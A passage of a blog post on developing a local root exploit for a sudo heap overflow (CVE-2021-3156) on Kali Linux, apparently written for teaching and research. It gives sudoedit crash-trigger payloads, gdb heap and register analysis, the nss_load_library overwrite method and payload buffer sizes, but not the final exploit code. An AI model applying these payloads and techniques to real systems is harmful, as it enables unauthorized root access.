def_timestampdir overwrite<\/li><\/ol>\n\n\n\nI will focus on the second method here. <\/p>\n\n\n\n
All steps will be completed on the Kali Linux virtual machine that is vulnerable and exploitable, based on the versions and behaviours it shows. However, you can never be 100% certain that the bug is exploitable until you actually develop a working exploit yourself. <\/p>\n\n\n\n
\u250c\u2500\u2500(user\u327fkali)-[~]\n \u2514\u2500$ cat \/etc\/*release\n PRETTY_NAME=\"Kali GNU\/Linux Rolling\"\n NAME=\"Kali GNU\/Linux\"\n ID=kali\n VERSION=\"2020.4\"\n VERSION_ID=\"2020.4\"\n VERSION_CODENAME=\"kali-rolling\"\n ID_LIKE=debian\n ANSI_COLOR=\"1;31\"\n HOME_URL=\"https:\/\/www.kali.org\/\"\n SUPPORT_URL=\"https:\/\/forums.kali.org\/\"\n BUG_REPORT_URL=\"https:\/\/bugs.kali.org\/\"<\/pre>\n\n\n\nVersions of sudo and libc are shown below for the reference.<\/p>\n\n\n\nI have downloaded and compiled the same Sudo version as above and recompiled it with debugging symbols enabled to make it easier to debug the binary and quickly identify any issues. If you do not have debugging symbols, you will be scratching your head for hours and may end up being frustrated by the lack of progress, so please make sure you take care of those before starting your exploit development work. For those who need some help, the steps you need to follow are summarised below:<\/p>\n\n\n\n
Download the source code for the version of sudo you are working with that works with your distribution e.g. the filename in my case is SUDO_1_9_4p2.tar.gz<\/li> create a new directory e.g. sudo-binary and move the file there<\/li><\/ul>\n\n\n\ncd sudo-binary\ntar xf SUDO_1_9_4p2.tar.gz\nmkdir build-dir\ncd build-dir\/\n..\/configure --enable-env-debug\nmake -j\nsudo make install<\/pre>\n\n\n\nNow you have the binary with debugging symbols enabled and ready for debugging. During initial stages of the development\/debugging ensure that you run your gdb instance either as a sudo user or preferably as a root to avoid having any issues while debugging. <\/p>\n\n\n\n
First we run the test payload to see the default behaviour outside of the debugger.<\/p>\n\n\n\n
\u250c\u2500\u2500(user\u327fkali)-[~\/sudo-binary]\n \u2514\u2500$ sudoedit -s '\\' perl -e 'print \"A\" x 65536'<\/code>\n malloc(): corrupted top size\n Aborted\n \u250c\u2500\u2500(user\u327fkali)-[~\/sudo-binary]\n \u2514\u2500$ sudoedit -s '\\' $(python -c'print(\"A\"*65535)')\n malloc(): corrupted top size\n Aborted\n \u250c\u2500\u2500(user\u327fkali)-[~\/sudo-binary]\n \u2514\u2500$ <\/pre>\n\n\n\nAs you can see, the error message has been returned twice indicating that the vulnerability may be present. When loading the binaries for debugging into gdb, ensure that you specify the full path to the binary rather than just the name of the binary. If you have multiple versions on your system and different environment variables you may end up looking at the wrong binary and wondering why you are not getting the results. <\/p>\n\n\n\n
For certain exploits the size of the memory available to the target also matters, in this case, 4GB of RAM is allocated to the virtual machine.<\/p>\n\n\n\n
\u250c\u2500\u2500(user\u327fkali)-[~\/sudo-binary]\n \u2514\u2500$ free\n total used free shared buff\/cache available\n Mem: 4033164 609776 2659264 31876 764124 3147108\n Swap: 0 0 0<\/pre>\n\n\n\nDebugging<\/h2>\n\n\n\n The most interesting part starts from here. As you can see before you can even start, you need to have some prerequisites in place, otherwise you will not get the expected results from your hard work. <\/p>\n\n\n\n
If something does not work or you cannot do it because you lack skills, do not be discouraged. Keep trying, keep learning and researching until you find the required information that you need to progress to the next stage of the exploit development process. <\/p>\n\n\n\n
There is enough of information about the vulnerability to skip a few steps. However, the sample payload is far from being certain at this stage. Memory layouts are never the same on two different systems with identical settings therefore once the working exploit is developed for one system, it can be later tweaked to account for different layouts and offsets on other systems. That means that each potential target will need to be inspected manually to confirm what changes, if any at all, are required to make the exploit portable. <\/p>\n\n\n\n
I will fast forward a few basic steps and get you straight into the debugger to save time. The breakpoint is set at set_cmnd<\/em> function at line 964.<\/p>\n\n\n\nBreakpoint 1, set_cmnd () at ..\/..\/..\/plugins\/sudoers\/sudoers.c:964\n 964 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {\n (gdb) info registers \n rax 0x56194a0c68e0 94666616498400\n rbx 0x56194a0c68e0 94666616498400\n rcx 0x56194a0d68e0 94666616563936\n rdx 0x56194a0c68d0 94666616498384\n rsi 0x10003 65539\n rdi 0x56194a0c68e0 94666616498400\n rbp 0x56194a0bebc0 0x56194a0bebc0\n rsp 0x7fff45fa54c0 0x7fff45fa54c0\n r8 0x56194a0c68e0 94666616498400\n r9 0x7f4bb90e2be0 139963203988448\n r10 0x10030 65584\n r11 0x56194a0d1000 94666616541184\n r12 0x0 0\n r13 0x10003 65539\n r14 0x0 0\n r15 0x56194a0bebb8 94666616466360\n rip 0x7f4bb8bcac4b 0x7f4bb8bcac4b \n eflags 0x202 [ IF ]\n cs 0x33 51\n ss 0x2b 43\n ds 0x0 0\n es 0x0 0\n fs 0x0 0\n gs 0x0 0<\/pre>\n\n\n\nThe payload of 65536 “A”s has been sent. Take a look at the what is happening. There is argument 0 = sudoedit, argument 1 = “\\\\” and argument 2 = “A” x your payload. Even though, 65536 “A”s have been sent, the additional 3 bytes need to be accounted for giving us a total of 65539 as shown below. The last value shown in bold included the current heap address space at the specific address.<\/p>\n\n\n\n
(gdb) p NewArgv[0]\n $1 = 0x56194852fcae \"sudoedit\"\n (gdb) p NewArgv[1]\n $2 = 0x7fff45fa6860 \"\\\\\"\n (gdb) p NewArgv[2]\n $3 = 0x7fff45fa6862 'A' \u2026\n (gdb) x \/20xg 0x7fff45fa6860\n 0x7fff45fa6860: 0x414141414141005c 0x4141414141414141\n 0x7fff45fa6870: 0x4141414141414141 0x4141414141414141\n 0x7fff45fa6880: 0x4141414141414141 0x4141414141414141\n 0x7fff45fa6890: 0x4141414141414141 0x4141414141414141\n 0x7fff45fa68a0: 0x4141414141414141 0x4141414141414141\n 0x7fff45fa68b0: 0x4141414141414141 0x4141414141414141\n 0x7fff45fa68c0: 0x4141414141414141 0x4141414141414141\n 0x7fff45fa68d0: 0x4141414141414141 0x4141414141414141\n 0x7fff45fa68e0: 0x4141414141414141 0x4141414141414141\n 0x7fff45fa68f0: 0x4141414141414141 0x4141414141414141\n (gdb) p size\n $4 = 65539<\/strong>\n (gdb) p sudo_user.cmnd_args\n $5 = 0x56194a0c68e0 \"\"\n (gdb) x \/8xg 0x56194a0c68e0<\/strong>\n 0x56194a0c68e0: 0x0000000000000000 0x0000000000000000\n 0x56194a0c68f0: 0x0000000000000000 0x0000000000000000\n 0x56194a0c6900: 0x0000000000000000 0x0000000000000000\n 0x56194a0c6910: 0x0000000000000000 0x0000000000000000\n<\/pre>\n\n\n\nLet’s take a look now at the flow after the next breakpoint is reached. The same address contains multiple “A”s. These are heap based addresses. <\/p>\n\n\n\n
(gdb) c\n Continuing.\n Breakpoint 2, set_cmnd () at ..\/..\/..\/plugins\/sudoers\/sudoers.c:978\n 978 *--to = '\\0';\n (gdb) x \/8xg 0x56194a0c68e0<\/strong>\n 0x56194a0c68e0: 0x4141414141414100 0x4141414141414141\n 0x56194a0c68f0: 0x4141414141414141 0x4141414141414141\n 0x56194a0c6900: 0x4141414141414141 0x4141414141414141\n 0x56194a0c6910: 0x4141414141414141 0x4141414141414141\n (gdb) p to\n $6 = 0x56194a0e68e2 \" \"\n (gdb) p 0x56194a0e68e2-0x56194a0c68e0\n $7 = 131074<\/pre>\n\n\n\nMoving on, a quick check reveals that we are quite a bit off the preferred target range. In fact, 131074 is the distance between the current offset and the offset where we started initially. What does it mean?<\/p>\n\n\n\n
gdb) info registers \n rax 0x56194a0e68e3 94666616629475\n rbx 0x56194a0e68e2<\/strong> 94666616629474\n rcx 0x0 0\n rdx 0x7fff45fb6862 140734367492194\n rsi 0x10003 65539\n rdi 0x56194a0c68e0 94666616498400\n rbp 0x56194a0bebd0 0x56194a0bebd0\n rsp 0x7fff45fa54c0 0x7fff45fa54c0\n r8 0x7f4bb8f1d218 139963202130456\n r9 0x7f4bb90e2be0 139963203988448\n r10 0x10030 65584\n r11 0x56194a0d1000 94666616541184\n r12 0x0 0\n r13 0x7fff45fb6861 140734367492193\n r14 0x0 0\n r15 0x0 0\n rip 0x7f4bb8bcb558 0x7f4bb8bcb558 \n eflags 0x246 [ PF ZF IF ]\n cs 0x33 51\n ss 0x2b 43\n ds 0x0 0\n es 0x0 0\n fs 0x0 0\n gs 0x0 0\n (gdb) x \/16xg $rbx<\/strong>\n 0x56194a0e68e2: 0x0000000000000020 0x0000000000000000\n 0x56194a0e68f2: 0x0000000000000000 0x0000000000000000\n 0x56194a0e6902: 0x0000000000000000 0x0000000000000000\n 0x56194a0e6912: 0x0000000000000000 0x0000000000000000\n 0x56194a0e6922: 0x0000000000000000 0x0000000000000000\n 0x56194a0e6932: 0x0000000000000000 0x0000000000000000\n 0x56194a0e6942: 0x0000000000000000 0x0000000000000000\n 0x56194a0e6952: 0x0000000000000000 0x0000000000000000\n (gdb) x \/16xg $rbx-131074<\/strong>\n 0x56194a0c68e0: 0x4141414141414100 0x4141414141414141\n 0x56194a0c68f0: 0x4141414141414141 0x4141414141414141\n 0x56194a0c6900: 0x4141414141414141 0x4141414141414141\n 0x56194a0c6910: 0x4141414141414141 0x4141414141414141\n 0x56194a0c6920: 0x4141414141414141 0x4141414141414141\n 0x56194a0c6930: 0x4141414141414141 0x4141414141414141\n 0x56194a0c6940: 0x4141414141414141 0x4141414141414141\n 0x56194a0c6950: 0x4141414141414141 0x4141414141414141<\/pre>\n\n\n\nAs you can see above, we worked out that the rbx (register b extended) is currently pointing to a location in the heap that is quite a bit off the location we need to be closer to which is 0x56194a0c68e0. For the reference the general purpose registers are as follows: <\/p>\n\n\n\n
rax,rbx,rcx,rdx = extended registers, <\/li> rbp is the base pointer (where the stack starts), <\/li> rsp – is register stack pointer (current stack location, growing downwards), <\/li> rsi – is the source index (for data copies), <\/li> rdi – is the destination index (for data copies). <\/li> There are also other registers from r8 to r15 that you can access via ‘r’ prefix e.g. rax,r15<\/li><\/ul>\n\n\n\nCurrent heap address mappings can be seen below for the reference. I have removed other values that are not relevant here.<\/p>\n\n\n\n
0x56194a0b0000 0x56194a0f7000 0x47000 0x0 [heap]\n(gdb) find 0x56194a0b0000,0x56194a0f7000,\"AAAA\"\n warning: Unable to access 2813 bytes of target memory at 0x56194a0f6504, halting search.<\/pre>\n\n\n\nSomething has gone wrong here. The payload has gone too far and corrupted specific addresses. In addition, the heap space has been expanded from 21000 to 47000. <\/p>\n\n\n\n
(gdb) x \/20xg 0x56194a0f6504\n 0x56194a0f6504: 0x0000000000000000 0x0000000000000000\n 0x56194a0f6514: 0x0000000000000000 0x0000000000000000\n 0x56194a0f6524: 0x0000000000000000 0x0000000000000000\n 0x56194a0f6534: 0x0000000000000000 0x0000000000000000\n 0x56194a0f6544: 0x0000000000000000 0x0000000000000000\n 0x56194a0f6554: 0x0000000000000000 0x0000000000000000\n 0x56194a0f6564: 0x0000000000000000 0x0000000000000000\n 0x56194a0f6574: 0x0000000000000000 0x0000000000000000\n 0x56194a0f6584: 0x0000000000000000 0x0000000000000000\n 0x56194a0f6594: 0x0000000000000000 0x0000000000000000<\/pre>\n\n\n\nIf the program continues as intended we get an error. <\/p>\n\n\n\n
(gdb) c\n Continuing.\n malloc(): corrupted top size\n Program received signal SIGABRT, Aborted.\n __GI_raise (sig=sig@entry=6) at ..\/sysdeps\/unix\/sysv\/linux\/raise.c:50\n 50 ..\/sysdeps\/unix\/sysv\/linux\/raise.c: No such file or directory.\n (gdb) bt\n 0 __GI_raise (sig=sig@entry=6) at ..\/sysdeps\/unix\/sysv\/linux\/raise.c:50\n 1 0x00007f4bb8f49537 in __GI_abort () at abort.c:79\n 2 0x00007f4bb8fa2708 in __libc_message (action=action@entry=do_abort,\n fmt=fmt@entry=0x7f4bb90b0e31 \"%s\\n\") at ..\/sysdeps\/posix\/libc_fatal.c:155<\/code>\n 3 0x00007f4bb8fa99fa in malloc_printerr (\n str=str@entry=0x7f4bb90af11f \"malloc(): corrupted top size\") at malloc.c:5347<\/code>\n 4 0x00007f4bb8fad0d7 in _int_malloc (av=av@entry=0x7f4bb90e2b80 ,\n bytes=bytes@entry=262148) at malloc.c:4107<\/code>\n 5 0x00007f4bb8fae104 in __GI___libc_malloc (bytes=262148) at malloc.c:3058\n 6 0x00007f4bb9113d09 in sudo_getgrouplist2_v1 (name=0x56194a0b89a8 \"root\",\n basegid=0, groupsp=groupsp@entry=0x7fff45fa4e30, ngroupsp=ngroupsp@entry=0x7fff45fa4e2c) at ..\/..\/..\/lib\/util\/getgrouplist.c:94<\/code>\n 7 0x00007f4bb8bdfe03 in sudo_make_gidlist_item (pw=0x56194a0b8978,\n unused1=<optimized out>, type=1) at ..\/..\/..\/plugins\/sudoers\/pwutil_impl.c:269<\/code>\n 8 0x00007f4bb8bdeb4e in sudo_get_gidlist (pw=0x56194a0b8978, type=type@entry=1)\n at ..\/..\/..\/plugins\/sudoers\/pwutil.c:926<\/code>\n 9 0x00007f4bb8bd7f89 in runas_getgroups ()\n at ..\/..\/..\/plugins\/sudoers\/match.c:141<\/code>\n 10 0x00007f4bb8bc71fe in runas_setgroups ()\n at ..\/..\/..\/plugins\/sudoers\/set_perms.c:1584<\/code>\n 11 set_perms (perm=perm@entry=5) at ..\/..\/..\/plugins\/sudoers\/set_perms.c:275\n 12 0x00007f4bb8bc086a in sudoers_lookup (snl=0x7f4bb8c1ed80 ,\n pw=0x56194a0b8978, cmnd_status=cmnd_status@entry=0x7f4bb8c1ed94 <cmnd_status>, pwflag=pwflag@entry=0) at ..\/..\/..\/plugins\/sudoers\/parse.c:355<\/code>\n 13 0x00007f4bb8bcad8b in sudoers_policy_main (argc=argc@entry=3,\n argv=argv@entry=0x56194a0b3850, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7fff45fa5570) at ..\/..\/..\/plugins\/sudoers\/sudoers.c:420<\/code>\n 14 0x00007f4bb8bc32fc in sudoers_policy_check (argc=3, argv=0x56194a0b3850,\n env_add=0x0, command_infop=0x7fff45fa5630, argv_out=0x7fff45fa5638, user_env_out=0x7fff45fa5640, errstr=0x7fff45fa5658) at ..\/..\/..\/plugins\/sudoers\/policy.c:1028<\/code>\n 15 0x00005619485151d5 in policy_check (user_env_out=0x7fff45fa5640,\n argv_out=0x7fff45fa5638, command_info=0x7fff45fa5630, env_add=0x0, argv=0x56194a0b3850, argc=3) at ..\/..\/src\/sudo.c:1168<\/code>\n 16 main (argc=, argv=, envp=0x7fff45fa58e0)<\/pre>\n\n\n\nQuick check of the registers shows that we are off the target range.<\/p>\n\n\n\n
(gdb) info registers \n rax 0x0 0\n rbx 0x7f4bb8f1d280 139963202130560\n rcx 0x7f4bb8f5fc81 139963202403457\n rdx 0x0 0\n rsi 0x7fff45fa4970 140734367418736\n rdi 0x2 2\n rbp 0x7fff45fa4cc0 0x7fff45fa4cc0\n rsp 0x7fff45fa4970 0x7fff45fa4970\n r8 0x0 0\n r9 0x7fff45fa4970 140734367418736\n r10 0x8 8\n r11 0x246 582\n r12 0x7fff45fa4be0 140734367419360\n r13 0x1000 4096\n r14 0x10 16\n r15 0x7f4bb9175000 139963204587520\n rip 0x7f4bb8f5fc81 0x7f4bb8f5fc81 <__GI_raise+321>\n eflags 0x246 [ PF ZF IF ]\n cs 0x33 51\n ss 0x2b 43\n ds 0x0 0\n es 0x0 0\n fs 0x0 0\n gs 0x0 0<\/pre>\n\n\n\nThe registers point to the stack locations now. Some work is required here to fine tune our initial payload to end up in the correct segment, overwrite the address on the heap, that we control which will point to the shared library that we can use to get our shell as root. We can use some GOT address as well that will take us to the correct destination. Jumping around and trying to manually hardcode the flow is not the most efficient option here. The better approach is to first overwrite the memory address at nss_load_library with our payload precisely, then perform a small jump to bypass 00 bytes and end up in the NOP buffer space leading to the addresses where our actual shell code will be placed. <\/p>\n\n\n\n
Let’s try something different this time. Another payload.<\/p>\n\n\n\n
(gdb) r -s AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \\ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\n The program being debugged has been started already.\n Start it from the beginning? (y or n) y\n Starting program: \/usr\/local\/bin\/sudoedit -s AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \\ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\n [Thread debugging using libthread_db enabled]\n Using host libthread_db library \"\/lib\/x86_64-linux-gnu\/libthread_db.so.1\".\n Breakpoint 1, set_cmnd () at ..\/..\/..\/plugins\/sudoers\/sudoers.c:964\n 964 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {<\/pre>\n\n\n\nLet’s continue to the next breakpoint.<\/p>\n\n\n\n
(gdb) c\n Continuing.\n Breakpoint 2, set_cmnd () at ..\/..\/..\/plugins\/sudoers\/sudoers.c:978\n 978 *--to = '\\0';\n (gdb) x \/8xg 0x563672e96990\n 0x563672e96990: 0x4141414141414141 0x4141414141414141\n 0x563672e969a0: 0x4141414141414141 0x4141414141414141\n 0x563672e969b0: 0x4141414141414141 0x4141414141414141\n 0x563672e969c0: 0x4141414141414141 0x4141414141414141\n (gdb) p to\n $13 = 0x563672e96a1f \" \\300\\230\\351r6V\"\n (gdb) p 0x563672e96a1f-0x563672e96990\n $15 = 143<\/strong><\/pre>\n\n\n\nOne more break point and something interesting happens.<\/p>\n\n\n\n
(gdb) c\n Continuing.\n Program received signal SIGSEGV, Segmentation fault.\n 0x00007f5e35beee7b in userlist_matches (parse_tree=0x563672e865a8, \n pw=pw@entry=0x563672e8b978, list=list@entry=0x563672e96be0)\n at ..\/..\/..\/plugins\/sudoers\/match.c:121\n 121 TAILQ_FOREACH_REVERSE(m, list, member_list, entries) {\n (gdb) bt\n 0 0x00007f5e35beee7b in userlist_matches (parse_tree=0x563672e865a8,\n pw=pw@entry=0x563672e8b978, list=list@entry=0x563672e96be0) at ..\/..\/..\/plugins\/sudoers\/match.c:121<\/code>\n 1 0x00007f5e35bd696b in sudoers_lookup_check (now=1612889848,\n defs=<synthetic pointer>, matching_cs=<synthetic pointer>, info=0x7fffe7d0a010, validated=<synthetic pointer>, pw=0x563672e8b978, nss=0x7f5e35c34b20 <sudo_nss_file>) at ..\/..\/..\/plugins\/sudoers\/parse.c:129<\/code>\n 2 sudoers_lookup (snl=, pw=0x563672e8b978,\n cmnd_status=cmnd_status@entry=0x7f5e35c34d94 <cmnd_status>, pwflag=pwflag@entry=0) at ..\/..\/..\/plugins\/sudoers\/parse.c:367<\/code>\n 3 0x00007f5e35be0d8b in sudoers_policy_main (argc=argc@entry=4,\n argv=argv@entry=0x563672e86850, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7fffe7d0a1b0) at ..\/..\/..\/plugins\/sudoers\/sudoers.c:420<\/code>\n 4 0x00007f5e35bd92fc in sudoers_policy_check (argc=4, argv=0x563672e86850,\n env_add=0x0, command_infop=0x7fffe7d0a270, argv_out=0x7fffe7d0a278, user_env_out=0x7fffe7d0a280, errstr=0x7fffe7d0a298) at ..\/..\/..\/plugins\/sudoers\/policy.c:1028<\/code>\n 5 0x0000563671d1d1d5 in policy_check (user_env_out=0x7fffe7d0a280,\n argv_out=0x7fffe7d0a278, command_info=0x7fffe7d0a270, env_add=0x0, argv=0x563672e86850, argc=4) at ..\/..\/src\/sudo.c:1168<\/code>\n 6 main (argc=, argv=, envp=0x7fffe7d0a528)\n at ..\/..\/src\/sudo.c:267<\/code><\/pre>\n\n\n\nTake a look at the rax register which has been overwritten by the second variable “B” that we inserted into our payload. <\/p>\n\n\n\n
(gdb) info registers \n rax 0x42424242424242<\/strong> 18650200809816642\n rbx 0x563672e96be0 94791856122848\n rcx 0x7 7\n rdx 0xffffffff 4294967295\n rsi 0x0 0\n rdi 0x0 0\n rbp 0x563672e8b978 0x563672e8b978\n rsp 0x7fffe7d09f70 0x7fffe7d09f70\n r8 0x7f5e361385fc 140042610902524\n r9 0x7fffe7d09e70 140737082596976\n r10 0x7f5e360c5470 140042610431088\n r11 0x7fffe7dd9970 140737083447664\n r12 0x0 0\n r13 0x563672e865a8 94791856055720\n r14 0x0 0\n r15 0x7fffe7d0a008 140737082597384\n rip 0x7f5e35beee7b 0x7f5e35beee7b \n eflags 0x10202 [ IF RF ]\n cs 0x33 51\n ss 0x2b 43\n ds 0x0 0\n es 0x0 0\n fs 0x0 0\n gs 0x0 0<\/pre>\n\n\n\nLooking closer at the heap we can see that our “B” pattern is available at the location shown below.<\/p>\n\n\n\n
(gdb) find 0x563672e83000,0x563672ea4000,\"BBBB\"\n 0x563672e96a1b\n(gdb) x \/40xg 0x563672e96a1b-160\n 0x563672e9697b: 0x0000000000000000 0x0000810000000000\n 0x563672e9698b: 0x4141410000000000 0x4141414141414141\n 0x563672e9699b: 0x4141414141414141 0x4141414141414141\n 0x563672e969ab: 0x4141414141414141 0x4141414141414141\n 0x563672e969bb: 0x4141414141414141 0x4141414141414141\n 0x563672e969cb: 0x4200204141414141 0x4242424242424242\n 0x563672e969db: 0x4242424242424242 0x4242424242424242\n 0x563672e969eb: 0x4242424242424242 0x4242204242424242\n 0x563672e969fb: 0x4242424242424242 0x4242424242424242\n 0x563672e96a0b: 0x4242424242424242 0x4242424242424242\n 0x563672e96a1b<\/strong>: 0xe998c00042424242<\/strong> 0x0001070000563672\n 0x563672e96a2b: 0x0000000000000000 0x0000310000000000\n 0x563672e96a3b: 0x0000000000000000 0xe96b980000000000\n 0x563672e96a4b: 0x0000000000563672 0x00011f0000000000\n 0x563672e96a5b: 0x0000000000000000 0x0000310000000000\n 0x563672e96a6b: 0x0000000000000000 0xe910200000000000\n 0x563672e96a7b: 0x0000000000563672 0x00011f0000000000\n 0x563672e96a8b: 0x0000000000000000 0x0000310000000000\n 0x563672e96a9b: 0x0000000000000000 0xe847e00000000000\n 0x563672e96aab: 0x0000000000563672 0x00011f0000000000<\/pre>\n\n\n\nWe are still a bit off the target as seen in the output below.<\/p>\n\n\n\n
(gdb) p 0x563672e96be0-0x563672e96a1b\n $16 = 453\n (gdb) x \/20xg $rbx-453\n 0x563672e96a1b: 0xe998c00042424242 0x0001070000563672\n 0x563672e96a2b: 0x0000000000000000 0x0000310000000000\n 0x563672e96a3b: 0x0000000000000000 0xe96b980000000000\n 0x563672e96a4b: 0x0000000000563672 0x00011f0000000000\n 0x563672e96a5b: 0x0000000000000000 0x0000310000000000\n 0x563672e96a6b: 0x0000000000000000 0xe910200000000000\n 0x563672e96a7b: 0x0000000000563672 0x00011f0000000000\n 0x563672e96a8b: 0x0000000000000000 0x0000310000000000\n 0x563672e96a9b: 0x0000000000000000 0xe847e00000000000\n 0x563672e96aab: 0x0000000000563672 0x00011f0000000000<\/pre>\n\n\n\nThat is promising so we need to give it another go with a modified payload to see what happens next.<\/p>\n\n\n\n
Exploit proof of concept (from user to root)<\/h2>\n\n\n\n After some testing in the debugger one issue became apparent. The heap address overwrite needs to be very precise to create perfectly aligned heap memory layout that can be successfully exploited. <\/p>\n\n\n\n
Trial and error methodology combined with debugging sessions confirmed that the following approach could be used when constructing the payload:<\/p>\n\n\n\n
use environment variables to define precise buffer length<\/li> do not corrupt random addresses to avoid segmentation fault errors<\/li> work out how to create custom heap layout filled with 0s in a specific location to construct perfectly aligned memory layout<\/li> calculate precise distance between various offsets to overwrite the name pointer to the shared library where the shell code will be executed<\/li><\/ul>\n\n\n\nLet’s see it in action first, and later I will talk you through the process. Below you can see that the shared library stored in a local directory on the test system called “libnss_XSHELLS” has been loaded instead of the default directory that the glibc would use. The break point is set at line 195 in dl-libc.c which is one instruction away from the root shell. <\/p>\n\n\n\n
195 in dl-libc.c\n*RAX 0x7f4e1a0c25c0 (_rtld_global_ro) \u25c2\u2014 0x5090f00000000\n RBX 0x557c8665e0b0 \u25c2\u2014 0x0\n RCX 0x322e\n RDX 0xe\n RDI 0x7ffe6d8fdc30 \u25c2\u2014 'libnss_XSHELLS\/XSHELL.so.2<\/strong>'\n RSI 0x80000002\n R8 0x557c86672810 \u2014\u25b8 0x557c8665e0e0 \u25c2\u2014 'XSHELLS\/XSHELL<\/strong>'\n R9 0x4c4c454853582f\n R10 0x557c86672de0 \u25c2\u2014 0x5c0\n R11 0x0\n R12 0x557c8665e0e0 \u25c2\u2014 'XSHELLS\/XSHELL<\/strong>'\n R13 0x7ffe6d8fdc50 \u25c2\u2014 0x0\n R14 0x1b\n R15 0x557c86672810 \u2014\u25b8 0x557c8665e0e0 \u25c2\u2014 'XSHELLS\/XSHELL<\/strong>'\n RBP 0x7ffe6d8fdca0 \u2014\u25b8 0x7ffe6d8fdd00 \u2014\u25b8 0x7f4e19faa969 \u25c2\u2014 'getspnam_r'\n RSP 0x7ffe6d8fdbf0 \u2014\u25b8 0x7ffe6d8fdc30 \u25c2\u2014 'libnss_XSHELLS\/XSHELL.so.2<\/strong>'\n*RIP 0x7f4e19f55837 (__libc_dlopen_mode+55) \u25c2\u2014 mov rsi, rsp<\/pre>\n\n\n\nThe shared object being loaded is XSHELL.so.2 which happens to be the \/bin\/bash shell that had been created and compiled prior to running the exploit code.<\/p>\n\n\n\n
What follows next is the code execution as root in the debugger. <\/p>\n\n\n\n
c\nContinuing.\n\n Enjoy the root shell!\n Provided by Sylwester @ https:\/\/www.cybersecuritynotepad.com\n\nprocess 1616 is executing new program: \/usr\/bin\/bash\n[New inferior 3]<\/pre>\n\n\n\nThe shell was spawned as expected with root privileges in the debugger. Now let’s execute the same exploit outside of the debugger to better visualise the privilege escalation.<\/p>\n\n\n\nThis proof of concept exploit shows that the version of Kali Linux in use for the demonstration purposes is indeed vulnerable and exploitable. At the beginning of this post, it was not possible to categorically say whether this version of Sudo (1.9.4p2) was exploitable in reality. Now you can see that it is.<\/p>\n\n\n\n
In summary, the exploit code included in the “ex3” file was send via sudoedit with correctly aligned user buffer injected via environment variables and padded with 0s to achieve the desired heap layout that enabled the name pointer that sits in the structure of the nss_load_library (struct service_user overwrite) to be overwritten and instead of using default glibc settings, it loaded the compiled “\/bin\/bash” shell from the shared library directory. <\/p>\n\n\n\n
As you can see, the exploit is clean and it exited the shell without errors. In addition, it can be executed multiple times on the same system with all existing memory protections enabled including ASLR. Finally the icing on the cake is the fact, that it also works after the system reboot. This is ideal for production environments where stability and availability is the key and there is no room for errors that can be costly. <\/p>\n\n\n\n
For the reference these are the memory protections as per default configuration on the test Kali system:<\/p>\n\n\n\n
\u250c\u2500\u2500(user\u327fkali)-[~\/cve-2021-3156\/exploit2\/CVE-2021-3156]\n\u2514\u2500$ checksec \/usr\/local\/bin\/sudo\n [*] '\/usr\/local\/bin\/sudo'\n Arch: amd64-64-little\n RELRO: Partial RELRO\n Stack: Canary found\n NX: NX enabled\n PIE: PIE enabled\n RUNPATH: b'\/usr\/local\/libexec\/sudo'\n FORTIFY: Enabled<\/pre>\n\n\n\nLooking at the output above partial RELRO means that the ELF internal data sections are reordered in a way which makes these sections placed before the data sections of the program. It also makes non-procedure linkage table global offset table (GOT) read-only providing mitigation for GOT overwrites. <\/p>\n\n\n\n
Stack Canary, stack cookie or also known as stack guard is designed to protect against stack based code execution. It places a random value on the stack which is checked before returning out of the stack frame. When the check fails the execution will be terminated. There are bypasses possible via information leakage, brute-forcing or exploiting the implementation of the random number generator. In this context, it is not important.<\/p>\n\n\n\n
I won’t cover other memory protections here due to time constraints. The key observation is that, if all memory protections are enabled in this specific context, the privilege escalation is still possible as shown above. <\/p>\n\n\n\n
When working on exploits, experience is helpful but even without it you can achieve your goals, as long as you are motivated and determined to succeed. If somebody says “this binary is not exploitable because it has protections A,B,C,D”, you can take it with a pinch of salt. It may not be exploitable to one person for various reasons, but there will always be somebody out there with the understanding and the skills who may be able to find the perfect solution to the problem. Nothing is impossible, as long as you have a strong belief in it. <\/p>\n\n\n\n
Exploit code<\/h2>\n\n\n\n As shown above, the test Kali system is exploitable with the custom exploit. I skipped a few steps to save time and show you only the essential information. <\/p>\n\n\n\n
The actual payload will be analysed next to give you an idea how to code the exploit and make it work on your system of choice. It does not matter what you code the exploit with. You can use any programming\/scripting language you are familiar with. <\/p>\n\n\n\n
Most of the currently available exploits are either written in C or scripted in Python. Depending on the environment, various options may be preferred. I will get back to that point later.<\/p>\n\n\n\n
The user controlled buffer and the environment variables are adjustable depending on the system. It is not always possible to accurately predict what it is and where it is in memory without debugging the binary and the exploit code. There are some predictable buffers\/sizes that can be used either for hardcoding or brute-forcing, depending on the exploit structure. I manually verified what the correct values were and hardcoded all the values to ensure that they work reliably without brute-forcing. <\/p>\n\n\n\n
The following buffers can be used:<\/p>\n\n\n\n
Total user buffer e.g. \"A\" = 0x30 (48 bytes)\nTotal environment variable buffer e.g. \"\\\\\" (0s) = varies \nTotal user buffer 2 via environment variables e.g.\"B\" = varies<\/pre>\n\n\n\nEven those buffers that are variable are predictable as follows:<\/p>\n\n\n\n
\"B\" = 0x19 = 25 bytes with total \"\\\\\" = 0xbe0 (3040 bytes)\n\"B\" = 0x29 = 41 bytes with total \"\\\\\" = 0xc50 (3152 bytes)\n\"B\" = 0x31 = 49 bytes with total \"\\\\\" = 0xc50 (3152 bytes)\n\"B\" = 0x41 = 65 bytes with total \"\\\\\" = 0xba0 (2976 bytes)<\/pre>\n\n\n\nNow using this information, the payload can be constructed. <\/p>\n\n\n\n
More details to follow…<\/p>\n","protected":false},"excerpt":{"rendered":"
